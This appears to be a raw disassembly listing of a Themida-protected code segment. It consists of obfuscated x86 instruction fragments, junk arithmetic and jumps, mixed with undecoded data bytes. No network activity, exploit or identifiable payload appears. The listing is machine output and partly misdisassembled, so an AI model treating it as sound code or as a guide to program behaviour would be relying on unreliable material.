push ebp
mov ebp, esp
add ebp, 4
push edi
mov edi, 4
add ebp, edi
pop edi
jmp loc_55AD89
; ---------------------------------------------------------------------------
dw 0C780h
dd 0DC0FE9BEh, 4BDFFFFh, 1000000h, 0C2E95DE9h, 81FFFFC8h
dd 4ECh, 243C8900h, 382F71BFh, 5DB95144h, 17D3E1Bh, 0FEA7E9CFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_55C092
; ---------------------------------------------------------------------------
loc_559CC4: ; CODE XREF: Themida_:0055DD54j
push ecx
mov ecx, 756F2A34h
or ebp, ecx
pop ecx
jmp loc_55B38C
; ---------------------------------------------------------------------------
loc_559CD2: ; CODE XREF: Themida_:0056097Aj
add esp, 4
pop edi
push esi
mov esi, esp
add esi, 4
push ecx
jmp loc_55ACAF
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 8324348Bh, 0E95104C4h, 0FFFFECA4h, 5972F1BBh, 0D8F38160h
dd 56192CAh, 1FD14C18h, 0FFB10BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559D09: ; CODE XREF: Themida_:00556661j
pop edx
push dword ptr [esp]
mov ecx, [esp]
jmp loc_55DDE7
; ---------------------------------------------------------------------------
db 89h, 4, 24h
aP5H5 db '¸p',1Bh,'5*h5~',0
align 2
dw 1489h
dd 7452BA24h, 0F2812CF7h, 0F93D90C0h, 0CB1DF22Dh, 0E9D00139h
dd 43C6h, 2424895Ch, 4240483h, 592434FFh, 8904EC83h, 0E189240Ch
dd 4C181h, 0C1830000h, 240C8704h, 4C1815Ch, 56000000h
dd 2BEh, 5EF10100h, 31240C33h, 0C33240Ch, 4085C24h, 0E5E99C24h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559D7F: ; CODE XREF: Themida_:005579A9j
add esp, 4
shr eax, 0Bh
xor ecx, eax
push 4198h
jmp loc_557FCC
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 0E9028864h, 4D0Ah, 31243433h, 34332434h, 3C64E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559DAA: ; CODE XREF: Themida_:0055B980j
add esp, 4
shl ebp, 3
shl ebp, 8
not ebp
or ebp, 10D564DFh
add ebp, 0F237A1F1h
sub ecx, ebp
pop ebp
and eax, ecx
pop ecx
or eax, eax
jz loc_55FDC1
push 4E7Ah
mov [esp], eax
mov eax, 1Ch
add eax, edi
push edx
jmp loc_557A1C
; ---------------------------------------------------------------------------
dd 4CAE6866h, 24048966h, 0FFCD2DE9h, 6ED7BAFFh, 0CA810B05h
dd 4FF2718Bh, 0F281DAF7h, 0B0088023h, 0E95AD501h, 0F11h
dd 0E904EC83h, 3F6Ah
; ---------------------------------------------------------------------------
loc_559E14: ; CODE XREF: Themida_:0055A6AFj
push 6A85h
mov [esp], eax
push ebx
push eax
mov ah, 4Eh
mov bl, ah
jmp loc_554E20
; ---------------------------------------------------------------------------
db 80h
dd 85E9C1F3h, 31FFFFE1h, 0C33240Ch, 24248B24h, 15D0E9h
dd 81E78900h, 4C7h, 4BD5500h, 81000000h, 0CA6F2AC7h, 81EF017Fh
dd 0CA6F2AEFh, 3C875D7Fh, 68665C24h, 89660BECh, 0B050240Ch
dd 885352F9h, 1A72E9C3h, 0C0680000h, 5B005002h, 390AF381h
dd 814326B4h, 7349DCBh, 0C2E95560h, 89FFFFFCh, 5954240Ch
dd 4C181h, 0BF570000h, 53622D43h, 400FF781h, 0D7F71AE5h
dd 0F781DFF7h, 16EC7771h, 729EF81h, 0F7813A77h, 24F41317h
dd 0FFDE06E9h, 835B54FFh, 148904ECh, 339ABA24h, 5BE912D6h
dd 5E00004Ah, 4263F681h, 0B9510F7Eh, 56F62458h, 8107E9C1h
dd 3881C3E9h, 59CE0983h, 6895E9h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_55FA6A
; ---------------------------------------------------------------------------
loc_559F03: ; CODE XREF: Themida_:005585E7j
shl ecx, 5
jmp loc_556022
; ---------------------------------------------------------------------------
db 5Ah
dd 4C281h, 0C2810000h, 4, 0E9241433h, 0AD9h, 0AA4F94BDh
dd 2EDC155h, 7CF168h, 0BE70E900h, 0C481FFFFh, 4, 0FFCEABE9h
dd 0D6F75AFFh, 0E221EE81h, 0F0899910h, 585A505Eh, 390CE9h
dd 0E9CB2800h, 0FFFFF7D1h
; ---------------------------------------------------------------------------
loc_559F58: ; CODE XREF: Themida_:00554F41j
sub esp, 4
mov [esp], edx
push ecx
mov ecx, 79B612A7h
mov edx, 5478394Ah
sub edx, 8AB31227h
sub edx, ecx
pop ecx
jmp loc_55B96D
; ---------------------------------------------------------------------------
dw 48Fh
aSrl db '$éL',0
align 2
dw 595Bh
dd 2474FF57h, 243C8B04h, 81E78957h, 4C7h, 4C78300h, 0FFB80FE9h
dd 0E9F031FFh, 61C8h, 0DE2A3CBAh, 31A0E95Ah, 0E6890000h
dd 523DBF57h, 0F7813FBFh, 466D5139h, 5C0CE781h, 0F781404Ah
dd 22A2657Fh, 0B3A1E947h, 0CE81FFFFh, 739A4D81h, 81FFEE83h
dd 0DE7FD8EEh, 5EF389F3h, 0FFC4A1E9h, 2474FFFFh, 0A951E904h
dd 815AFFFFh, 4C4h, 68C1FE00h, 0
dd 8A240C28h, 0C483240Ch, 46B05004h, 2846C180h, 46E980C1h
dd 59CC2058h, 4318E9h, 5D505900h, 0E5814D58h, 41C62515h
dd 47E2ED81h, 97680CE5h, 0E900006Bh, 87h, 0DCE9C9FEh, 0C1000011h
dd 0EA8108E2h, 2A0B4353h, 4810EA81h, 0D1299B5Ah, 0E9C8315Ah
dd 0FFFFFFC5h, 46C4CE81h, 0F6813F28h, 63D10572h, 0C163E946h
dd 0E189FFFFh, 5AA3E9h
db 0
; ---------------------------------------------------------------------------
loc_55A06D: ; CODE XREF: Themida_:0055E024j
neg edi
sub esp, 4
mov [esp], ebp
push 31D0h
jmp loc_5558DB
; ---------------------------------------------------------------------------
dw 4891h
dd 0F255A305h, 1C06E97Fh, 348B0000h, 4C48324h, 34FFC131h
dd 0EC815824h, 4, 52A8E9h, 6E9C100h, 5D3BC981h, 1E96CFDh
dd 0FFFFFFB1h, 5E92434h, 8900004Fh, 0B0E9242Ch, 66000069h
dd 6824048Bh, 6480h, 54240C89h, 9E95259h
db 2Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A0D7: ; CODE XREF: Themida_:0055AE33j
push dword ptr [esp]
pop edx
jmp loc_55DD94
; ---------------------------------------------------------------------------
dd 3CE9535Ch, 58FFFFCAh, 0E9E08950h, 0FFFFD9E4h
; ---------------------------------------------------------------------------
loc_55A0F0: ; CODE XREF: Themida_:0055699Cj
pop edx
mov edi, [esp]
jmp loc_559002
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
aSag db '$éíg',0
align 2
dw 0EE81h
dd 2A6B152Ah, 2E84E95Fh, 0ED800000h, 59E828F1h, 6602EC83h
dd 50240C89h, 4B57E9h, 4EC8100h, 89000000h, 60BA2414h
dd 0E9597E33h, 0FFFFC112h, 28325DB8h, 3E1AE925h, 52BA0000h
dd 2939214Dh, 0B6E95BDAh, 87FFFFF4h, 0F5C241Ch, 0E5E9C8BEh
dd 8BFFFFC0h, 8F662424h, 0EC812404h, 2, 240C8966h, 24048766h
dd 34E95066h
db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg ebx, [esp]
jmp loc_55E6E0
; ---------------------------------------------------------------------------
loc_55A18E: ; CODE XREF: Themida_:0055C28Dj
add ebx, 7BB3100Eh
pop dword ptr [eax]
jmp loc_5548CE
; ---------------------------------------------------------------------------
db 68h
dd 57566B3Eh, 81DDF75Dh, 8E6C37EDh, 4EC8167h, 89000000h
dd 14F7242Ch, 0EDC15D24h, 6E5C103h, 0BB7CED81h, 0E901F726h
dd 0FFE16BE9h, 4C481FFh, 66000000h, 16B96651h, 0EB816609h
dd 166035Bh, 4140E9CBh, 68570000h, 4, 5FFA015Fh, 2B951h
dd 59E90000h, 4DFFFFE8h, 0EDC1D5F7h, 3DC58107h, 169C6A3h
dd 242C8BE8h, 4C481h, 0C8010000h, 0FA417F2Dh, 2434FF69h
dd 0D6E95659h, 50FFFFF8h, 4055854h, 2D000000h, 4, 5C240487h
dd 68242489h, 54E8h, 53240489h, 2472BCBBh, 0B8F38164h
dd 89642472h, 241C8BD8h, 4C481h, 44810000h, 1F6E0424h
dd 70E942EBh
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A25F: ; CODE XREF: Themida_:0055DF6Dj
push ebp
neg dword ptr [esp]
pop ebp
add ebp, 1A384C7Fh
jmp loc_558B69
; ---------------------------------------------------------------------------
dd offset dword_44622C+4A3Ch
align 4
dd 0FFA827E9h, 243489FFh, 8DE95E54h, 0FF000044h, 669D1C77h
dd 24041858h, 3792E99Ch, 89520000h, 4C281E2h, 0E9000000h
dd 0FFFFC790h
; ---------------------------------------------------------------------------
loc_55A2A0: ; CODE XREF: Themida_:0055DDAAj
and ebx, 3BE2101h
neg ebx
shr ebx, 4
shl ebx, 5
xor ebx, 134410F4h
add ebx, 16381110h
add edi, ebx
pop ebx
xchg edi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], eax
push ebp
push eax
mov eax, 6526459Ah
push edi
jmp loc_55E544
; ---------------------------------------------------------------------------
loc_55A2D6: ; CODE XREF: Themida_:00556D5Fj
add ebp, 4
jmp loc_559A44
; ---------------------------------------------------------------------------
aQrsb db 'QRé',8,0
align 4
loc_55A2E8: ; CODE XREF: Themida_:00555910j
mov [esp], edi
push eax
mov eax, 10h
mov edi, eax
pop eax
and ebx, edi
jmp loc_55513D
; ---------------------------------------------------------------------------
db 0BFh
dd 2, 0FABE5653h, 0E9098517h, 5C03h, 0E9028F66h, 0FFFFA5BAh
dd 0CE8883B1h, 240C8B66h, 6602C483h, 2454F652h, 148B6601h
dd 2C48124h, 0F6000000h, 80C6FEDEh, 0B05075EEh, 34D0F648h
dd 0FEFF0463h, 0CFE0E9C8h, 0C87FFFFh, 0BE565C24h, 2, 72E9F501h
dd 5E000065h, 0C281D2F7h, 0B037AC62h, 148BD329h, 4C48324h
dd 0F5668h, 242C8900h, 3363BB68h, 0EB015D48h, 0E9242C8Bh
dd 3F7Eh, 5EFC058h, 0FBE9EFD0h
db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A38B: ; CODE XREF: Themida_:0055ED8Aj
mov eax, 4
add edx, eax
pop eax
add edx, 4
xchg edx, [esp]
pop esp
or edx, eax
shl edx, 1
push 0CE0h
mov [esp], edx
push 0FFFFFFFFh
pop edx
sub [edi+24h], edx
push dword ptr [esp]
jmp loc_5606E1
; ---------------------------------------------------------------------------
loc_55A3B7: ; CODE XREF: Themida_:00558CC7j
pop ecx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
xor eax, 41101A00h
sub esp, 4
mov [esp], edx
mov edx, 15907A2Ah
push eax
jmp loc_55AE38
; ---------------------------------------------------------------------------
db 31h
dd 5DE95DEAh, 33FFFFEAh, 0F75C2434h, 457C68F9h, 14890000h
dd 0E99C5024h, 0FFFFA4D6h
; ---------------------------------------------------------------------------
loc_55A3F8: ; CODE XREF: Themida_:0055B9D7j
sub esi, 0BF13D7F1h
sub esp, 4
mov [esp], ecx
mov ecx, 6125084Dh
and esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55B31B
; ---------------------------------------------------------------------------
dd 0DD6AC3BAh, 0EA81420Bh, 0BB5856Bh, 15AD129h, 48759C8h
dd 4AB4E924h, 0C3800000h, 10B151CFh, 4426E9h, 34FF5E00h
dd 0EC815D24h, 4, 89241C89h, 6410E9E3h, 28590000h, 10C380C3h
dd 0E9CFB050h, 2364h, 3C74B850h, 0A4257746h, 5553471h
dd 0EA17D16Dh, 3E9C331h, 0F7FFFFF1h, 0E99C241Ch, 0FFFFA44Ah
dd 0C7FE6CB7h, 0EF86CFFEh, 0D3F6DD86h, 8852DD86h, 88FD88EEh
dd 605AE9F7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A49E: ; CODE XREF: Themida_:0055671Cj
add esp, 4
push ecx
mov ecx, 5A195F0Ch
push ebx
mov ebx, 7BE51A73h
add ecx, ebx
pop ebx
jmp loc_55BA51
; ---------------------------------------------------------------------------
loc_55A4B5: ; CODE XREF: Themida_:0055D890j
pop ecx
add al, 43h
push ebx
mov bh, 0D3h
sub al, bh
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_556A90
; ---------------------------------------------------------------------------
loc_55A4CE: ; CODE XREF: Themida_:00560777j
mov [esp], edi
mov edi, 4
add ebp, edi
mov edi, [esp]
push edx
push esp
pop edx
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_55969F
; ---------------------------------------------------------------------------
db 57h, 0BFh, 0C2h
dd 51312A4Ah, 564D5CB9h, 18C9815Fh, 811B284Ch, 5BE16BE9h
dd 0E9CF3150h, 4177h, 0E9E8285Ch, 3CFCh, 16ED815Dh, 1EA956Ch
dd 242C8BEFh, 5004C483h, 7F0558B8h, 31F8313Dh, 0F7F831C7h
dd 4EE997D7h
db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A53F: ; CODE XREF: Themida_:0055756Ej
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
shr ecx, 2
sub esp, 4
mov [esp], ebx
push 2F8Ah
mov [esp], edx
mov edx, 26FE0838h
jmp loc_555A4F
; ---------------------------------------------------------------------------
db 80h
dd 9E906C2h, 6600000Ah, 0E924048Bh, 0FFFFC1A1h, 0E73D0BAh
dd 0C2814A35h, 0CAF18C35h, 875AD301h, 685C241Ch, 27B5h
dd 68241C89h, 547670D9h, 83241C8Bh, 1FE904C4h, 8100000Fh
dd 0ED19D0EAh, 0E9D701F0h, 0FFFFD916h, 3302B951h, 52E9281Ah
dd 0FFFFFFF6h, 0E9042474h, 2662h, 34F18149h, 8154262Bh
dd 0FC2849E1h, 81D9F72Bh, 0AE5ADEC1h, 3E9C17Eh, 2154F181h
dd 0C82947D5h, 5D02959h, 49AE6B0Fh, 5624148Bh, 0C681E689h
dd 4, 4C681h, 0A0E90000h, 80000018h, 0C828DAE9h, 1C8B6659h
dd 2C48124h, 0
dd 4EC81D8h, 0E9000000h, 5EE2h
; ---------------------------------------------------------------------------
loc_55A61C: ; CODE XREF: Themida_:0055D5BDj
mov eax, [esp]
push 77F8h
jmp loc_55540E
; ---------------------------------------------------------------------------
db 81h, 0C5h, 1Fh
dd 0E91592E9h, 66AFh
; ---------------------------------------------------------------------------
loc_55A634: ; CODE XREF: Themida_:0055604Aj
sub eax, 1
push ecx
mov ecx, 53A31341h
shl ecx, 8
xor ecx, 6DCC3D2Eh
add ecx, 2B5D4CD8h
sub eax, 26093B19h
jmp loc_55B5FD
; ---------------------------------------------------------------------------
dd 242C8B54h, 4C481h, 0FE90000h
db 1Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A667: ; CODE XREF: Themida_:00560BE8j
pop dword ptr [edi+24h]
pop ebx
sub ebx, 0FFFFFFFFh
push dword ptr [edi+24h]
push ebx
pop dword ptr [edi+24h]
jmp loc_55514E
; ---------------------------------------------------------------------------
db 81h, 4, 24h
dd 0CB70142h, 4E05E95Ah, 0D8010000h, 4EC835Bh, 0E9242C89h
dd 0FFFFC37Ch
; ---------------------------------------------------------------------------
loc_55A698: ; CODE XREF: Themida_:0055FEF3j
or edx, 11463637h
jmp loc_557AC9
; ---------------------------------------------------------------------------
loc_55A6A3: ; CODE XREF: Themida_:00555E6Ej
pop esp
sub bl, 0AFh
push small 4F0Ah
mov [esp], dx
jmp loc_559E14
; ---------------------------------------------------------------------------
loc_55A6B4: ; CODE XREF: Themida_:0055DBBEj
and ch, 2Fh
or ch, 30h
add ch, 1
sub ch, 82h
add bl, ch
pop ecx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_560127
; ---------------------------------------------------------------------------
dd 38128305h, 0BA525132h, 50FE0B1Ch, 15AD189h, 348B59C8h
dd 4C48124h, 68000000h, 604Fh, 0BF243C89h, 3B841F0Bh, 7FB568h
dd 24348900h, 0A31CBBBEh, 9FEF811Eh, 29033312h, 9FC781F7h
dd 5E033312h, 1E5A68h, 240C8900h, 4F361668h, 240C8B4Ah
dd 4C481h, 0CF310000h, 8B2434FFh, 0C483240Ch, 4C48304h
dd 535FF831h, 33DC6855h, 0CFE958E0h, 80000062h, 0CBE92DEDh
dd 0BE00005Bh, 53947h, 89F78957h, 0E95E5FF8h, 0FFFFA166h
dd 31241C33h, 1C33241Ch, 24248B24h, 55241489h, 4EC81h
dd 4890000h, 242C8B24h, 1A34E9h, 66D00000h, 8324148Bh
dd 505102C4h, 8EE938B4h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A79B: ; CODE XREF: Themida_:0055D09Aj
add ebx, 475FE2B7h
mov ecx, ebx
mov ebx, [esp]
add esp, 4
neg ecx
inc ecx
xor ecx, 8A1BDCB4h
jmp loc_559B22
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 240C8900h, 0C58042B5h, 4B9CE98Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A7CA: ; CODE XREF: Themida_:0055DA99j
add al, 44h
sub al, bl
sub al, 44h
push 2137h
jmp loc_55D885
; ---------------------------------------------------------------------------
dw 0F780h
dd 8BFD0004h, 7DE9241Ch, 66FFFFAAh, 52240C8Bh, 0EC81E289h
dd 4, 0E9243C89h, 5A68h, 5ED4BA52h, 0D529426Bh, 1CB5E9h
dd 2434FF00h, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 5F54243Ch
dd 0FFE287E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A825: ; CODE XREF: Themida_:0055D2E1j
push edi
push 5DE3E78h
pop edi
dec edi
jmp loc_558396
; ---------------------------------------------------------------------------
aSs db '\é˜]',0
align 4
loc_55A838: ; CODE XREF: Themida_:005565CDj
pop edi
jmp loc_55B9B8
; ---------------------------------------------------------------------------
dw 0C14Dh
dd 0F58105EDh, 99490872h, 895DEB01h, 0F1815BD9h, 64675356h
dd 0FFCAA7E9h, 5FFE89FFh, 8107EEC1h, 0DF2FC1CEh, 0C1EE8159h
dd 8959FF3Fh, 1E95EF1h, 57000010h, 4BFh, 247C0100h, 81595F04h
dd 4C1h, 0C2E95700h
db 27h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A88B: ; CODE XREF: Themida_:00558179j
push 47DFh
mov [esp], edx
sub esp, 4
mov [esp], esi
jmp loc_5562B4
; ---------------------------------------------------------------------------
dw 0B753h
dd 0F3E78042h, 0FE06F780h, 5EF2E9CFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A8AE: ; CODE XREF: Themida_:00558B94j
mov ebp, 4
add ebx, ebp
pop ebp
push 5FDBh
jmp loc_55DE32
; ---------------------------------------------------------------------------
loc_55A8C0: ; CODE XREF: Themida_:0055AB44j
inc eax
push ebx
mov ebx, 0C0B098Ah
not ebx
xor ebx, 7B6E0686h
jmp loc_555774
; ---------------------------------------------------------------------------
dd 0CBADE959h, 0C8BFFFFh, 0E2895224h, 4C281h, 0C2830000h
dd 24148704h, 6CCB815Ch, 810BFD31h, 0E023FDEBh, 33E3812Bh
dd 81336138h, 93486EE3h, 0BE565536h, 3DC57A50h, 78FDF681h
dd 0E94E386Bh, 0FFFFDFDDh, 4C4815Bh, 80000000h, 0FE98CEBh
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A927: ; CODE XREF: Themida_:0055DA6Fj
xor esi, ecx
pop ecx
push ecx
push eax
push ebp
jmp loc_555F05
; ---------------------------------------------------------------------------
dw 0E789h
dd 8904EC83h, 4BE2434h, 81000000h, 9A401DC7h, 4AEF8132h
dd 5309B24Dh, 762615BBh, 0CEF4E97Ah, 0C89FFFFh, 0C0E95424h
dd 57FFFFBBh, 4BFh, 2B23E900h, 0F2810000h, 262369ACh, 26BFEA81h
dd 0F281715Eh, 0F81B99F1h, 505AD709h, 642AA6B8h, 724C3540h
dd 35400FFCh, 57D94206h, 0C105E8C1h, 0EB0503E8h, 81800850h
dd 591B63EFh, 81C7015Dh, 591B63C7h, 24048B5Dh, 4C481h
dd 0F8010000h, 2404875Fh, 48B665Ch, 0E0895024h, 8904EC83h
dd 4BF243Ch, 55000000h, 4B6BBABDh, 0F9CD8106h, 4545C007h
dd 0ED81D5F7h, 50BA6425h, 8BE5645h, 0E91C53C1h, 1DF5h
dd 69DFE981h, 0D9F77A46h, 0FFE696E9h, 241431FFh, 5C241433h
dd 0FFC99AE9h, 5FFB89FFh, 1373DE2Dh, 50D8297Dh, 3C1468h
dd 47D3E900h, 22B20000h, 3EC280h, 5241E9D1h, 0C6830000h
dd 1F7CE902h, 52AC0000h, 0EEC071B6h, 617FE903h, 0C4810000h
dd 4, 8103EEC1h, 0E82A16F6h, 13C68176h, 811B8F4Eh, 0B738DDF6h
dd 0CDB2E9BEh, 0EE81FFFFh, 6CED63CAh, 8BF00159h, 0C4812434h
dd 4, 5C240487h, 0F04C483h, 0C168C8BFh, 8900002Bh, 4BE9240Ch
dd 0FFFFFF9Eh, 34FF3C77h, 2434FF24h, 0FFEE44E9h, 240C89FFh
dd 0C7031AB9h, 3D57E938h, 7CB90000h, 0C134D86Bh, 0C98102E1h
dd 65A00F14h, 0FFE9E4E9h, 240481FFh, 4, 4BF575Ah, 0E9000000h
dd 0CB4h
; ---------------------------------------------------------------------------
loc_55AAC4: ; CODE XREF: Themida_:0055AEA3j
inc ecx
xor ecx, 0E7EFF2E5h
add ebp, ecx
pop ecx
push 593h
mov [esp], ebp
sub esp, 4
mov [esp], edi
pop ebp
pop edi
push edi
not dword ptr [esp]
pop edi
push 21D6h
mov [esp], ebp
jmp loc_5593C5
; ---------------------------------------------------------------------------
db 52h
dd 60E913B2h, 81000000h, 0B9EA9CF1h, 59CA0108h, 491ABD55h
dd 0EDC11387h, 0C575E908h, 4B9FFFFh, 56000000h, 0CF5266BEh
dd 104CE969h, 48B0000h, 0C763E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AB2A: ; CODE XREF: Themida_:0055C32Bj
sub ebx, 0D391C5Eh
add ebx, 15245195h
pop ecx
push eax
mov eax, 15991248h
and eax, 4F4A482Bh
neg eax
jmp loc_55A8C0
; ---------------------------------------------------------------------------
db 5Bh, 81h, 44h
dd 3C8B0424h, 54017E70h, 0EBE90424h, 0C0000043h, 0EA8003EAh
dd 0FEEA8023h, 2880E9h, 24048100h, 45145517h, 17E98159h
dd 0E9451455h, 0FFFFBD41h, 182E48B9h, 0E1C1410Bh, 4DF18104h
dd 1CB529Ch, 315A59CBh, 9D38E9C2h, 0E981FFFFh, 6F10147Ch
dd 138EE9h
db 0
; ---------------------------------------------------------------------------
loc_55ABA1: ; CODE XREF: Themida_:00556BC1j
xor ecx, 489921E0h
push ecx
neg dword ptr [esp]
pop ecx
push 6D3Ch
mov [esp], ebp
push esi
jmp loc_55D30F
; ---------------------------------------------------------------------------
dw 0E8B1h
dd 0C186D9F6h, 0C186D0F6h, 5302E9C0h, 0D7F68DB7h, 0C7FECFFEh
dd 80A1CF80h, 0C78033EFh, 5BF9307Bh, 3748E9h, 241C3300h
dd 0FF24248Bh, 0E99C2404h, 0FB6h
; ---------------------------------------------------------------------------
loc_55ABF0: ; CODE XREF: Themida_:00554C5Fj
push ecx
mov ecx, 719C0312h
jmp loc_555CB2
; ---------------------------------------------------------------------------
db 66h
dd 5224048Bh, 0CBE9E289h, 5400000Bh, 4A27685Bh, 2C890000h
dd 4BD24h, 0EB010000h, 4C3815Dh, 87000000h, 0A3E9241Ch
dd 8900003Eh, 0B050240Ch, 304CB510h, 5A5EE9C5h, 15B0000h
dd 0D3D2E9C7h, 2C89FFFFh, 6B25BD24h, 1E91B34h, 59FFFFC7h
dd 80FE9h, 0B9EF8100h, 8159D933h, 1C6D76E7h, 6DBE563Ah
dd 0E913D610h, 3556h, 0CF00D3B1h, 0CF805966h, 0D7C7809Ah
dd 8007E780h, 0DFF687EFh, 0E903E7C0h, 0FFFFFB56h, 24048B66h
dd 8904EC83h, 0E6892434h, 0FFF860E9h, 4EC83FFh, 0BB241C89h
dd 4, 0FFFB57E9h, 0FF180FFh, 4EE9C800h
db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55ACAF: ; CODE XREF: Themida_:00559CE0j
push eax
push 4B862F07h
pop eax
jmp loc_555863
; ---------------------------------------------------------------------------
db 0ADh
dd 5E6B2A05h, 222C050Ch, 17E9299Ah
db 38h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55ACCB: ; CODE XREF: Themida_:00556FE0j
sub ecx, 1
sub ecx, 24795D99h
xor ecx, 21F8703Dh
jmp loc_55CD0C
; ---------------------------------------------------------------------------
dw 15Dh
dd 5A042454h, 5A2434FFh, 0E904C483h, 0FFFFA699h, 0B12BE95Ah
dd 0C181FFFFh, 4, 4C181h, 0C870000h, 48F5C24h, 0C90B5C24h
dd 0C1CA840Fh, 5456FFFFh, 0FFEEF3E9h, 242C87FFh, 0AB0F665Ch
dd 0E99C2404h, 0FFFFB5C3h, 8085F380h, 0CB80D3CBh, 42F380A1h
dd 50FFC380h, 0E4C09BB4h, 0E9C4FE03h, 0FFFFC4C2h, 53242C89h
dd 3341E9h, 24048300h, 24148B04h, 4C481h, 0C2810000h, 4
dd 4B951h, 0CA290000h, 81240C8Bh, 4C4h, 24143300h, 33241431h
dd 248B2414h, 24348924h, 0FFF9CEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55AD89: ; CODE XREF: Themida_:00559C81j
xchg ebp, [esp]
pop esp
jmp loc_557239
; ---------------------------------------------------------------------------
dw 0E8BFh
dd 2962D932h, 0D7295FFAh, 5524148Bh, 0FFD9C7E9h, 4C483FFh
dd 2C781h, 3C330000h, 55E0E924h, 345A0000h, 5B27E9A1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55ADBE: ; CODE XREF: Themida_:0055D919j
add ecx, 4
push edx
mov edx, 4
sub ecx, edx
pop edx
xchg ecx, [esp]
pop esp
mov [esp], esi
push edi
push 56144F03h
jmp loc_55E50E
; ---------------------------------------------------------------------------
db 81h
dd 4F79C5E9h, 0A3E98166h, 1AC4FA3h, 5904244Ch, 40558h
dd 0BA520000h, 4, 9E9D001h, 100000Ch, 0EC815DEBh, 4, 0BE243489h
dd 192A7DE6h, 348BF301h, 4C48324h, 0EB81C301h, 192A7DE6h
dd 41DB951h, 0CB296366h, 1661E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AE32: ; CODE XREF: Themida_:00559809j
pop eax
jmp loc_55A0D7
; ---------------------------------------------------------------------------
loc_55AE38: ; CODE XREF: Themida_:0055A3D6j
push ebx
mov ebx, 2FF5972h
push ebp
mov ebp, 58BEC342h
mov eax, ebp
mov ebp, [esp]
add esp, 4
sub eax, ebx
pop ebx
jmp loc_55DD35
; ---------------------------------------------------------------------------
db 81h
dd 7F6AF3h, 0DE895663h, 5E207789h, 2568565Bh, 5E78B978h
dd 3903E9h
db 0
; ---------------------------------------------------------------------------
loc_55AE71: ; CODE XREF: Themida_:0055DEFBj
mov ecx, esp
add ecx, 4
jmp loc_554A27
; ---------------------------------------------------------------------------
loc_55AE7E: ; CODE XREF: Themida_:0055E553j
add eax, edi
pop edi
sub eax, 4CA501F6h
add eax, 5A3B002Eh
jmp loc_55E8D9
; ---------------------------------------------------------------------------
loc_55AE90: ; CODE XREF: Themida_:0055EAA1j
push ebp
mov ebp, 3EDF3D21h
push ecx
mov ecx, 1E5D72F0h
add ecx, 739517E9h
dec ecx
jmp loc_55AAC4
; ---------------------------------------------------------------------------
dd 0E905EFC1h, 0FFFFB936h, 905BD55h, 0ED816154h, 2B0B23C9h
dd 0E538B850h, 0C5293648h, 0D76CE958h, 8B66FFFFh, 9E92404h
dd 52FFFFD1h, 4C7FBF57h, 3E93F86h, 56FFFFB7h, 1B088ABEh
dd 63B85043h, 0E93DD00Ah, 0FFFFC8D3h, 0FF2434FFh, 48B2434h
dd 4EC8324h, 0E9240C89h, 0FFFFA2D8h
; ---------------------------------------------------------------------------
loc_55AF04: ; CODE XREF: Themida_:005599F9j
add esp, 4
and ecx, eax
jmp loc_55D854
; ---------------------------------------------------------------------------
db 0B3h, 3Bh, 88h
dd 0C4805BDCh, 1E6BE927h, 485D0000h, 0FFCC8DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55AF25: ; CODE XREF: Themida_:0055F3C0j
sub eax, edi
pop edi
jmp loc_556666
; ---------------------------------------------------------------------------
loc_55AF2D: ; CODE XREF: Themida_:0055F27Bj
pop edx
add esp, 4
push ebx
mov ebx, 3DC0487Dh
add edx, 2F815832h
sub edx, ebx
sub edx, 2F815832h
pop ebx
push edx
sub esp, 4
mov [esp], eax
jmp loc_556411
; ---------------------------------------------------------------------------
dw 0C101h
dd 8FBE5658h, 8155420Ah, 0B56CF1E6h, 0DCCE8149h, 5325F65Ch
dd 0E84216BBh, 0E9DE29F7h, 0FFFF9983h, 665AD020h, 3ABBE952h
dd 0D3F60000h, 0EBC0C3FEh, 52F38005h, 515BD800h, 503CB353h
dd 0E588DC88h, 0E8285B58h, 4F00059h, 0A2E0E93Ch, 0E953FFFFh
dd 1E87h
; ---------------------------------------------------------------------------
